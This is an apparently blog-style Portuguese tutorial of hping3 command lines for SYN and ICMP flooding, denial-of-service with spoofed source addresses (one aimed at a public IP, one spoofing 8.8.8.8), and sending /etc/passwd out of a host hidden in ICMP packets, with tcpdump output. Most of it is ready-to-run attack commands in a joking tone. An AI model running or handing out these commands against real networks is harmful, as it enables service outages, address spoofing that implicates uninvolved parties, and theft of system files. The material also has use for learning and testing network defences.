Exemplos básicos

Floodar com 10mil syn um ip na porta 80:

# hping3 --flood --syn -c 10000 -a 1.2.3.4 -p 80 200.157.25.8

DoS - O ataque DoS, tem a ideia de fazer com que a placa de rede, ip, banda, não consiga respirar, fazendo disso uma parada dos serviços, ela simplesmente não consegue mais responder.

# hping3 --flood 200.157.25.8

DoS com outra TTL - Podemos mudar os nossos "HOPS" para chegar em nosso destino como neste caso, e fazemos uma inundação de 100 pacotes com ttl 250 para o IP, podemos usar outras tantas combinações de uma linha.

# hping --flood --ttl 250 --count 100 192.168.0.1

Spoof com um falso IP - Esta parte é legal até, podemos mandar milhares de pacotes com outro IP, não cheguei a testar em um FW público.

# hping --spoof 1.2.3.4 192.168.0.1
(hping --spoof FALSOIP IPQUENTE)

DoS com spoofing - Que tal fazer um DoS e IP spoofing ao mesmo tempo? Colocamos um IP falso para que o "destino" não desconfie EHEHEHEH. Isso é ate legal de se fazer, com testes interno funciona perfeitamente.

# hping --flood --spoof 8.8.8.8 --ttl 66 192.168.0.2

Spoof Loucão - HAHHA que tal mandar várias inundações loucamente para um IP?

# hping3 --spoof 192.168.0.2 --icmp-ts 192.168.0.1
(hping3 --spoof MEUIP --icmp-ts IPDESTINO)

Exemplos mais complexos

Flood com assinatura - No caso ele vai enviar alguns pacotes com esta rotulação podendo ser um arquivo ou simplesmente na escrita, como vemos nos exemplos.

# hping3 --flood --syn -a 1.2.3.4 -e "TESTANDO" -S -s 80 192.168.0.1

Monitorando com tcpdump:

	0x0000:  45c0 006a 9f79 0000 4001 7e97 ac10 01d1  E..j.y..@.~.....
	0x0010:  ac10 01d1 0303 590b 0000 0000 4500 004e  ......Y.....E..N
	0x0020:  e171 0000 4011 3d6b ac10 01d1 ac10 01d1  .q..@.=k........
	0x0030:  0a28 0007 003a 0902 5445 5354 4554 4553  .(...:..TESTETES
	0x0040:  5445 0a00 0000 0000 0000 0000 0000 0000  TE..............
	0x0050:  0000 0000 0000 0000 0000 0000 0000 0000  ................

Criando arquivo de assinatura:

# echo "TESTETESTE" > /vat/tmp/assinatura.sig

Enviando o ataque:

# hping -2 -p 7 192.168.0.3 -d 50 -E /var/tmp/assinatura.sig

Para monitorar:

# tcpdump -i ethX -nX proto 17

	0x0000:  45c0 006a 9f79 0000 4001 7e97 ac10 01d1  E..j.y..@.~.....
	0x0010:  ac10 01d1 0303 590b 0000 0000 4500 004e  ......Y.....E..N
	0x0020:  e171 0000 4011 3d6b ac10 01d1 ac10 01d1  .q..@.=k........
	0x0030:  0a28 0007 003a 0902 5445 5354 4554 4553  .(...:..TESTETES
	0x0040:  5445 0a00 0000 0000 0000 0000 0000 0000  TE..............
	0x0050:  0000 0000 0000 0000 0000 0000 0000 0000  ................

Transferir informações pelo ICMP - Que parte louca, sim quando esta lendo alguns manuais na internet achei engraçado esta parte:

# hping 192.168.0.3 --icmp -d 100 --sign signature --file /etc/passwd

Monitorando:

# tcpdump -i ethX -nX

A saída é bem parecida.